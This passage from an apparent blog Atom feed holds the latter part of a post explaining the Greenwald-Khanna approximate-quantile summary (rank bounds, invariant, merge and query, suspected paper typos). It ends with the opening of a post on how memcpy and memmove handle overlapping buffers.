&lt;object  class='' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/05_delete_and_g_update.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Here are a few more examples:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
You can corroborate that the observation \(21\) remains at rank \(5\) in all the cases.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/05_delete_and_g_update_2_and_3.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Removing tuples trades off space by accuracy.&lt;/p&gt;
&lt;p&gt;If we ask for the rank \(2\), we &lt;em&gt;lost&lt;/em&gt; the precise answer but we can return an &lt;em&gt;approximated&lt;/em&gt; one: if we answer with rank \(1\) (value \(4\)), we missed just be \(1\) rank.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Ask for the observation at rank \(2\) but we answer with the observation at rank \(1\) effectively making a mistake of \(1\) rank.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/06_query_and_error.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In general we answer with the closest tuple so the maximum error is at the middle point and it is half the count of tuples removed in between the tuples.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
In this example, \(\lceil \frac{4 - 1}{2} \rceil = 2\)
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/08_computed_error.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Luckily, we already are tracking how many tuples we removed: it is just the \(g_i\) value of the right-most tuple minus 1.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Why the \(- 1\)? Because each \(g_i\) starts at \(1\) and increases by the same amount of removed tuples.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/07_gap.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;So we can put a upper bound on the error for answering for a rank \(r\) that falls in the gap: \(\lceil \frac{g_i - 1}{2} \rceil\)&lt;/p&gt;
&lt;h2 id="minimum-and-maximum-ranks"&gt;Minimum and maximum ranks&lt;/h2&gt;
&lt;p&gt;Let’s back to how we handle an insert. What would happen if we want to insert the value \(16\)?&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
We don’t know what rank the value \(16\) should have but we know that it is between ranks \(2\) and \(6\).
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/09_insert_but_where.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9zdGF0cy9ncmVlbndhbGQta2hhbm5hLWUtYXBwcm94aW1hdGVkLXEtcXVhbnRpbGUvMDlfaW5zZXJ0X2J1dF93aGVyZV9jaGVhdGluZy5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0PgpJbiBmYWN0LCBpZiB3ZSBkaWRuJ3QgZGVsZXRlIGFueSB0dXBsZSwgdGhlIHByZWNpc2UgcmFuayBmb3IgYDE2YCBzaG91bGQgaGFkIGJlZW4gYDRgCndoaWNoIGl0IGlzIGJldHdlZW4gYDJgIGFuZCBgNWAuCm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9zdGF0cy9ncmVlbndhbGQta2hhbm5hLWUtYXBwcm94aW1hdGVkLXEtcXVhbnRpbGUvMDlfaW5zZXJ0X2J1dF93aGVyZV9jaGVhdGluZy5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0PgpJbiBmYWN0LCBpZiB3ZSBkaWRuJ3QgZGVsZXRlIGFueSB0dXBsZSwgdGhlIHByZWNpc2UgcmFuayBmb3IgYDE2YCBzaG91bGQgaGFkIGJlZW4gYDRgCndoaWNoIGl0IGlzIGJldHdlZW4gYDJgIGFuZCBgNWAuCm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object  class='fullwidth' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/09_insert_but_where_cheating.svg' type='image/svg+xml'&gt;&lt;/object&gt;
In fact, if we didn’t delete any tuple, the precise rank for \(16\) should had been \(4\) which it is between \(2\) and \(5\).
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The value \(16\) is between \(4\) and \(21\) so the rank of \(4\) should not change but the value \(21\) cannot longer be at rank \(5\) but at rank \(6\) to make room for the new observation.&lt;/p&gt;
&lt;p&gt;Therefore the value \(16\) is at rank between \(2\) and \(5\) (inclusive)&lt;/p&gt;
&lt;p&gt;Those ranks are the respective &lt;em&gt;minimum&lt;/em&gt; and &lt;em&gt;maximum&lt;/em&gt; ranks for \(16\).&lt;/p&gt;
$$\begin{align*}
    \textrm{rmin}_i &amp;= \textrm{rank}_{i-1} + 1                    \\
    \textrm{rmax}_i &amp; = \textrm{rank}_{i+1}
\end{align*}$$
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/10_insert_rmin_rmax.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;But our tuples don’t have explicit ranks but relative offsets.&lt;/p&gt;
&lt;p&gt;From \(\textrm{rmin}_{i}\) we solve \(g_{i}\):&lt;/p&gt;
&lt;p&gt;&lt;label for='CkknbSB1c2luZyBoZXJlIGBcdGV4dHJte3JtYXh9X3tpKzF9YCB0byBiZSB0aGUgcmFuayAqYmVmb3JlKiB1cGRhdGluZwp0aGUgYGdfe2krMX1gIG9mIHRoZSB0dXBsZSBgdF97aSsxfWAuCkluIHRoZSBleGFtcGxlLCBgXHRleHRybXtybWF4fV97aSsxfWAgd291bGQgYmUgYDVgIG5vdCBgNmAuCgpJbiB0aGUgcHJhY3RpY2UgdGhpcyBkZXRhaWwgZG9lc24ndCBtYXR0ZXIgYmVjYXVzZSB0aGUgYWxnb3JpdGhtCndvdWxkIG5ldmVyIGJlIHdvcmtpbmcgd2l0aCByYW5rcyBkaXJlY3RseS4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkknbSB1c2luZyBoZXJlIGBcdGV4dHJte3JtYXh9X3tpKzF9YCB0byBiZSB0aGUgcmFuayAqYmVmb3JlKiB1cGRhdGluZwp0aGUgYGdfe2krMX1gIG9mIHRoZSB0dXBsZSBgdF97aSsxfWAuCkluIHRoZSBleGFtcGxlLCBgXHRleHRybXtybWF4fV97aSsxfWAgd291bGQgYmUgYDVgIG5vdCBgNmAuCgpJbiB0aGUgcHJhY3RpY2UgdGhpcyBkZXRhaWwgZG9lc24ndCBtYXR0ZXIgYmVjYXVzZSB0aGUgYWxnb3JpdGhtCndvdWxkIG5ldmVyIGJlIHdvcmtpbmcgd2l0aCByYW5rcyBkaXJlY3RseS4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
I’m using here \(\textrm{rmax}_{i+1}\) to be the rank &lt;em&gt;before&lt;/em&gt; updating the \(g_{i+1}\) of the tuple \(t_{i+1}\). In the example, \(\textrm{rmax}_{i+1}\) would be \(5\) not \(6\).
&lt;br /&gt;&lt;br /&gt;
In the practice this detail doesn’t matter because the algorithm would never be working with ranks directly.
&lt;/span&gt;&lt;/p&gt;
$$\begin{align*}
\textrm{rank}_{i} &amp;= \textrm{rank}_{i-1} + 1      \\
\textrm{rank}_{i} - \textrm{rank}_{i-1} &amp;= 1      \\
                                  g_{i} &amp;= 1

\end{align*}$$
&lt;p&gt;Let’s define a new offset, \(\Delta_{i} = \textrm{rmax}_{i} - \textrm{rmin}_{i}\) which can be rewritten as:&lt;/p&gt;
$$\begin{align*}
\textrm{rmax}_{i} &amp; = \textrm{rank}_{i+1}               \\
                  &amp;= \textrm{rank}_{i-1} + g_{i+1}      \\
\textrm{rmax}_{i} - \textrm{rmin}_{i} &amp;= \textrm{rank}_{i-1} + g_{i+1} - \textrm{rmin}_{i}          \\
\textrm{rmax}_{i} - \textrm{rmin}_{i} &amp;= \textrm{rank}_{i-1} + g_{i+1} - \textrm{rank}_{i-1} - 1    \\
                                      &amp;= g_{i+1} - 1       \\
                           \Delta_{i} &amp;= g_{i+1} - 1
\end{align*}$$
&lt;p&gt;Our tuples now we have 3 values:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;\(v_i\): the observed value&lt;/li&gt;
&lt;li&gt;\(g_i\): the &lt;em&gt;gap&lt;/em&gt; between the predecessor \(\textrm{rmin}_{i-1}\) to the current tuple’s \(\textrm{rmin}_i\).&lt;/li&gt;
&lt;li&gt;\(\Delta_i\): the difference between \(\textrm{rmax}_i\) and \(\textrm{rmin}_i\).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="insert-revised"&gt;Insert, revised&lt;/h2&gt;
&lt;p&gt;But the above is incomplete. Let’s see an insert in between two observations that don’t have a single rank but a range.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/11_setup_range.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The value \(4\) may be at rank \(1\) or \(2\). We know for sure that the value \(16\) is after \(4\) so it cannot have a rank of \(1\) but it &lt;em&gt;could&lt;/em&gt; have a rank of \(2\) or anything above.&lt;/p&gt;
&lt;p&gt;The \(\textrm{rmin}\) of \(4\) defines the \(\textrm{rmin}\) of \(16\).&lt;/p&gt;
&lt;p&gt;For the value \(21\) we do the same analysis: it may be at ranks \(5\) and \(6\) so the value \(16\) cannot be at rank \(6\) but it &lt;em&gt;could&lt;/em&gt; be at rank \(5\) and above.&lt;/p&gt;
&lt;p&gt;In summary:&lt;/p&gt;
$$\begin{align*}
    \textrm{rmin}_i &amp;= \textrm{rmin}_{i-1} + 1                    \\
    \textrm{rmax}_i &amp; = \textrm{rmax}_{i+1} - 1
\end{align*}$$
&lt;p&gt;From the first equation we get \(g_i = 1\) for the inserted tuple \(t_i\) as we got before.&lt;/p&gt;
&lt;p&gt;\(\Delta_i\) is slightly different:&lt;/p&gt;
&lt;p&gt;&lt;label for='CkknbSB1c2luZyBoZXJlIGBcdGV4dHJte3JtYXh9X3tpKzF9YCB0byBiZSB0aGUgcmFuayAqYmVmb3JlKiB1cGRhdGluZwp0aGUgYGdfe2krMX1gIG9mIHRoZSB0dXBsZSBgdF97aSsxfWAuCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkknbSB1c2luZyBoZXJlIGBcdGV4dHJte3JtYXh9X3tpKzF9YCB0byBiZSB0aGUgcmFuayAqYmVmb3JlKiB1cGRhdGluZwp0aGUgYGdfe2krMX1gIG9mIHRoZSB0dXBsZSBgdF97aSsxfWAuCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
I’m using here \(\textrm{rmax}_{i+1}\) to be the rank &lt;em&gt;before&lt;/em&gt; updating the \(g_{i+1}\) of the tuple \(t_{i+1}\).
&lt;/span&gt;&lt;/p&gt;
$$\begin{align*}
       \Delta_i &amp; = \textrm{rmax}_i - \textrm{rmin}_i                                       \\
                &amp; = \textrm{rmax}_{i+1} - \textrm{rmin}_{i-1} - 1                           \\
                &amp; = \textrm{rmin}_{i+1} + \Delta_{i+1} - \textrm{rmin}_{i-1} - 1            \\
                &amp; = \textrm{rmin}_{i-1} + g_{i+1} + \Delta_{i+1} - \textrm{rmin}_{i-1} - 1  \\
       \Delta_i &amp; = g_{i+1} + \Delta_{i+1} - 1
\end{align*}$$
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/12_insert_range.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="removed-tuples-count-revised"&gt;Removed tuples count, revised&lt;/h2&gt;
&lt;p&gt;We saw that \(g_i - 1\) counts for the tuples removed immediately before the tuple \(t_i\) but this is not enough.&lt;/p&gt;
&lt;p&gt;Visually we want to count the removed tuples from \(\textrm{rmin}_{i-1}\) to \(\textrm{rmax}_{i}\).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/13_gap_range.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
$$\begin{align*}
    &amp; = \textrm{rmax}_{i} - \textrm{rmin}_{i-1} - 1             \\
    &amp; = \Delta_i + \textrm{rmin}_{i} - \textrm{rmin}_{i-1} - 1  \\
    &amp; = \Delta_i + g_i - 1
\end{align*}$$
&lt;p&gt;With this, the upper bound error for answering for a rank \(r\) that falls in the gap becomes \(\lceil \frac{\Delta_i + g_i - 1}{2} \rceil\)&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/14_computed_error_range.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="answer-revised"&gt;Answer, revised&lt;/h2&gt;
&lt;p&gt;To answer for a rank \(r\), we search any tuple whose ranks are fully contained in the range \((r - \lfloor \epsilon n \rfloor , r + \lfloor \epsilon n \rfloor)\).&lt;/p&gt;
&lt;p&gt;This is because we cannot answer with a tuple \(t_i\) if &lt;em&gt;any&lt;/em&gt; of &lt;em&gt;its&lt;/em&gt; possible ranks are outside of the range. Answering with such tuple will imply that we are potentially answering with a value with a truly rank beyond the tolerance \(\lfloor \epsilon n \rfloor\), hence having a relative error larger than \(\epsilon\).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/15_query_range.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The answering requires a \(O(s)\) search where \(s\) is the count of tuples in the summary, much smaller than the total number of observations \(n\).&lt;/p&gt;
&lt;h2 id="invariant-of-the-summary-we-can-always-guarantee-to-answer-any-rank"&gt;Invariant of the summary: we can always guarantee to answer any rank&lt;/h2&gt;
&lt;p&gt;It’s easy to see that if the maximum gap between 2 consecutive tuples is \(\Delta_i + g_i - 1\) (twice the maximum error), and if we keep this below \(2 \lfloor \epsilon n \rfloor\), we can always find the rank with an error of up to \(\epsilon n\) (just divide both expressions by 2).&lt;/p&gt;
&lt;p&gt;Not a proof but here we go with an intuition:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;you are looking for a rank \(r\) with maximum error of \(\lfloor \epsilon n \rfloor\)&lt;/li&gt;
&lt;li&gt;a tuple/rank is found iif the tuple’s rank range fully falls inside the \(2 \lfloor \epsilon n \rfloor\) window.&lt;/li&gt;
&lt;li&gt;not finding such tuple/rank means that the &lt;em&gt;almost&lt;/em&gt; correct tuple has a rank range larger than \(2 \lfloor \epsilon n \rfloor\).&lt;/li&gt;
&lt;li&gt;in other words, \(\Delta_i \gt 2 \lfloor \epsilon n \rfloor\)&lt;/li&gt;
&lt;li&gt;but \(\Delta_i\) is a value that never changes (it is fixed when the tuple is inserted) and its value is \(g_{i+1} + \Delta_{i+1} - 1\)&lt;/li&gt;
&lt;li&gt;but \(g_{i+1} + \Delta_{i+1} - 1\) is also the maximum gap between the tuples \(t_i\) and \(t_{i+1}\) (it is twice the maximum error)&lt;/li&gt;
&lt;li&gt;and for hypothesis \(\Delta_{i+1} + g_{i+1} - 1 \lt 2 \lfloor \epsilon n \rfloor\) which conflicts with the above and leads to a contradiction&lt;/li&gt;
&lt;li&gt;so we should be able to find always a tuple for the query of rank \(r\) with a maximum error of \(\lfloor \epsilon n \rfloor\)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In short, the summary &lt;strong&gt;always&lt;/strong&gt; maintains the invariant:&lt;/p&gt;
$$\Delta_i + g_i - 1 \le 2 \lfloor \epsilon n \rfloor$$
&lt;p&gt;This imposes a restriction when we can remove or not a tuple: a tuple can be removed if by doing so we are not creating a gap that violates the invariant.&lt;/p&gt;
&lt;p&gt;In other words, the tuple \(t_i\) can be removed iff:&lt;/p&gt;
$$g_i + \Delta_i + g_{i+1} + \Delta_{i+1} - 1 \le 2 \lfloor \epsilon n \rfloor$$
&lt;h2 id="amortization-via-deferring-inserts"&gt;Amortization via deferring inserts&lt;/h2&gt;
&lt;p&gt;So far we have \(O(\textrm{log} s)\) inserts. However, it is possible to defer the inserts, holding them in a temporal buffer and insert all them together later.&lt;/p&gt;
&lt;p&gt;Once the buffer is full, we sort it in \(O(b \textrm{log} b)\) and do a &lt;em&gt;merge&lt;/em&gt; between it and the summary in \(O(s+b)\).&lt;/p&gt;
&lt;p&gt;We traded \(b\) inserts of \(O(\textrm{log} s)\) by one \(O(b \textrm{log} b) + O(s+b)\).&lt;/p&gt;
&lt;p&gt;Moreover, during the merge we can check if the tuple can be removed without violating the invariant.&lt;/p&gt;
&lt;h2 id="wrapping-all-together"&gt;Wrapping all together&lt;/h2&gt;
&lt;p&gt;The &lt;em&gt;summary&lt;/em&gt; data structure has 3 operations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;insert&lt;/li&gt;
&lt;li&gt;merge&lt;/li&gt;
&lt;li&gt;query&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On each &lt;em&gt;insert&lt;/em&gt;, store the observation in a buffer. Once the buffer reaches to the size of the current summary or to some predefined limit, merge it and create a new summary.&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;merge&lt;/em&gt; operation is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;sort the observations in the buffer&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;iterate over the buffer and the summary at the same time from the largest to the smallest values; compare both tips and take the largest&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;if the value comes from the buffer (new observation), create the tuple \(t_i = (v_i, g_i=1, \Delta_i=g_{i+1} + \Delta_{i+1})\)&lt;/li&gt;
&lt;li&gt;otherwise, the value comes from the summary, use its tuple&lt;/li&gt;
&lt;li&gt;insert the tuple \(t_i\) in the new summary only if otherwise would create a gap too large that would violate the invariant. The only exception is the last (smallest) value (the minimum) that must be inserted in the summary (so the summary always contains the extremes values).&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For &lt;em&gt;query&lt;/em&gt;, we can offer answers for quantiles or ranks.&lt;/p&gt;
&lt;p&gt;To answer for the rank \(r\) we scan the summary, summing the \(g_j\) values along the way to compute:&lt;/p&gt;
$$\begin{align*}
\textrm{rmin}_i &amp;\leftarrow  \sum_{j \le i} g_j \\
\textrm{rmax}_i &amp;\leftarrow  \textrm{rmin}_i + \Delta_i
\end{align*}$$
&lt;p&gt;We stop once we find a tuple \(t_i\) that satisfies both inequalities:&lt;/p&gt;
$$\begin{align*}
\textrm{rmin}_i &amp;\ge r - \lfloor \epsilon n \rfloor      \\
\textrm{rmax}_i &amp;\le r + \lfloor \epsilon n \rfloor
\end{align*}$$
&lt;p&gt;To answer for the quantile \(q\), we compute the equivalent rank \(r \leftarrow q n\) and proceed as above.&lt;/p&gt;
&lt;h2 id="so-which-are-the-discrepancies-with-greenwald-khannas-work"&gt;So, which are the discrepancies with Greenwald-Khanna’s work?&lt;/h2&gt;
&lt;h3 id="typo-in-the-invariant"&gt;Typo in the invariant&lt;/h3&gt;
&lt;p&gt;Considere the &lt;em&gt;corollary 1&lt;/em&gt; (GK01):&lt;/p&gt;
$$\textrm{max}(g_i + \Delta_i) \le 2 \epsilon n \quad \forall i$$
&lt;p&gt;The incorrect part is \(g_i + \Delta_i\).&lt;/p&gt;
&lt;p&gt;For any new tuple, its \(g_i\) is \(1\) and it is easy to find a valid &lt;em&gt;small&lt;/em&gt; \(n\) such \(2 \epsilon n\) is &lt;em&gt;smaller&lt;/em&gt; than 1 and because \(\Delta_i\) is never negative, the corollary &lt;em&gt;does not hold&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;I think that the expression should had been:&lt;/p&gt;
$$\textrm{max}(g_i + \Delta_i - 1) \le 2 \epsilon n \quad \forall i$$
&lt;p&gt;The left side is always positive but it can be zero so it does not enter in conflict with the right side. This is just a slightly weaker version of the invariant mentioned in the blog post.&lt;/p&gt;
&lt;p&gt;And of course, it may no be an error at all ans just I’m not interpreting the paper correctly.&lt;/p&gt;
&lt;h3 id="compress-and-bands"&gt;Compress and bands&lt;/h3&gt;
&lt;p&gt;The authors also implemented a separated routine called \(COMPRESS\) that removes unneeded tuples which requires the categorization of all the \(\Delta_i\) into &lt;em&gt;bands&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;While they use the concept of &lt;em&gt;bands&lt;/em&gt; to prove the properties of the algorithm, IMO, these are not needed for running it.&lt;/p&gt;
&lt;h3 id="initial-delta_i"&gt;Initial \(\Delta_i\)&lt;/h3&gt;
&lt;p&gt;In the first sections of the paper, the authors define for a new tuple \(t_i\), its \(\Delta_i\) as \(\Delta_i = \lfloor 2 \epsilon n \rfloor\).&lt;/p&gt;
&lt;p&gt;This is a loose value but the authors used it to prove properties of the algorithm.&lt;/p&gt;
&lt;p&gt;In the next sections of the paper, they use \(\Delta_i = g_{i+1} + \Delta_{i+1}\) as in the blog post.&lt;/p&gt;
&lt;h3 id="minimum-is-not-preserved"&gt;Minimum is not preserved&lt;/h3&gt;
&lt;p&gt;I didn’t explain this but in the &lt;a href="https://github.com/cryptonitas/cryptonita/blob/93688906dbaf781618d86e17e0a156dfe806fbc5/cryptonita/stats/distribution_summary.py"&gt;python implementation&lt;/a&gt; I added some extra condition to delete or not a tuple: if the tuple is at one extreme (its value \(v\) is either the maximum or the minimum), do not delete it.&lt;/p&gt;
&lt;p&gt;This was the intention of the GK01 authors too but their implementation (or better said, its pseudo code) does not prevent the minimum to be removed.&lt;/p&gt;
&lt;h2 id="conclusions"&gt;Conclusions&lt;/h2&gt;
&lt;p&gt;It was hard. You have no idea.&lt;/p&gt;
&lt;p&gt;Once I realized that the paper had some inconsistencies, it took me a week to fully understand and write down –from the scratch– the algorithm and summary data structure.&lt;/p&gt;
&lt;p&gt;But that was the easy part. It took me like a month to write this blog post and I truly have deep respect for Greenwald and Khanna.&lt;/p&gt;
&lt;p&gt;Writing this blog post taught me how hard is to explain something and even harder to it write without mistakes. I had to redo more than one diagram, fixing indices or adding a missing \(- 1\) and, of course, I’m quite sure there is room for improvements.&lt;/p&gt;
&lt;p&gt;This is also a reminder why publishing the full implementation, not just pseudo code, is so important. It is written in a formal language and it can be executed and put in test easy.&lt;/p&gt;
&lt;p&gt;For example, checking the incorrect invariant \(\textrm{max}(g_i + \Delta_i - 1) \le 2 \epsilon n \quad \forall i\) it would be trivial: just add an assert in the code.&lt;/p&gt;
&lt;p&gt;The code is never immune to errors, but it is a bit closer to the truth.&lt;/p&gt;
&lt;h2 id="future-work"&gt;Future work&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Combine multiples summaries (see &lt;a href="/assets/stats/greenwald-khanna-e-approximated-q-quantile/quantiles-chapter-overview-multiple-algorithms-GK-combine-2-Summaries.pdf"&gt;Chapter-GK&lt;/a&gt;: One may observe values produced from different places, summarized locally and then, somehow, combine these &lt;em&gt;local summaries&lt;/em&gt; into a single one.&lt;/li&gt;
&lt;li&gt;Non-uniform error: GK’s &lt;em&gt;summary&lt;/em&gt; answers with a fixed relative error across the entire range of ranks. In some applications one may want to have certain quantiles with less errors than others.&lt;/li&gt;
&lt;li&gt;Read about related problems (see &lt;a href="/assets/stats/greenwald-khanna-e-approximated-q-quantile/quantile-estimation-for-very-large-infinite-data-stream--random-deterministic-probabilidad-linear.pdf"&gt;Quantiles over Data Streams: Experimental Comparisons, New Analyses, and Further Improvements&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2024/12/31/Greenwald-Khanna-E-Approximated-Q-Quantile.html" rel="alternate" type="text/html" title="Greenwald-Khanna e-approximated q-quantile - a review"/>
    <category term="stats" label="stats"/>
    <category term="quantile" label="quantile"/>
    <category term="rank" label="rank"/>
    <category term="sublinear" label="sublinear"/>
    <published>2024-12-31T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2024/09/21/Behind-memcpy-memmove.html</id>
    <title>Behind `memcpy`/`memmove`: overlap, words and alignment</title>
    <updated>2024-09-21T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0id2lkdGg6IGF1dG87IiBjbGFzcz0nZnVsbHdpZHRoJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL3hvei9tZW1jcHlfaW8vMDBfbm9fb3ZlcmxhcF9zZXR1cC5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0Pm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0id2lkdGg6IGF1dG87IiBjbGFzcz0nZnVsbHdpZHRoJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL3hvei9tZW1jcHlfaW8vMDBfbm9fb3ZlcmxhcF9zZXR1cC5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0Pm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="width: auto;" class='fullwidth' align='middle' data='/img/xoz/memcpy_io/00_no_overlap_setup.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;How do &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;/&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; work?&lt;/p&gt;
&lt;p&gt;I ended asking that question a few days ago while I was implementing the copy between sections of a file for the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xoz&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; library.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; deal with memory, not with files, but I imagined that I could borrow some ideas anyways.&lt;/p&gt;
&lt;p&gt;And I did.&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; copyies bytes from a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; buffer into another that does not overlap (both buffers are in differen parts of the memory) &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; does the same thing, copying from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but handling carefuly the situation of overlap.&lt;/p&gt;
&lt;p&gt;Under the hood, both functions are implemented in the same way. But why the stdlib has 2 separated functions then?&lt;/p&gt;
